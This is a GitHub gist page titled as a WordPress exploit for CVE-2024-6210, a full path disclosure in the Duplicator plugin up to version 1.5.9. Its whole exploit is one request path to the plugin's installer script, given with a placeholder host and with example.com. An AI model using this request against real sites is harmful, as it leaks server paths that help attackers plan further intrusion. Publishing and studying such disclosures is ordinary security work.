h0ffy/WordPress_Exploit_CVE-2024-6210_Full_Path_Disclosured.md

Last active February 9, 2026 17:15

Star (0) You must be signed in to star a gist
Fork (0) You must be signed in to fork a gist

Select an option

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/h0ffy/60c3c441e90e8a37208f532bae832867.js"></script>
Save h0ffy/60c3c441e90e8a37208f532bae832867 to your computer and use it in GitHub Desktop.

Download ZIP

Raw

WordPress_Exploit_CVE-2024-6210_Full_Path_Disclosured.md

WordPress Exploit CVE-2024-6210 Full Path Disclosured

Vulnerability

Duplicator <= 1.5.9 - Full Path Disclosure (CVE-2024-6210)

Exploit

https://$URL/wp-content/plugins/duplicator/installer/dup-installer/main.installer.php
https://example.com/wp-content/plugins/duplicator/installer/dup-installer/main.installer.php

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment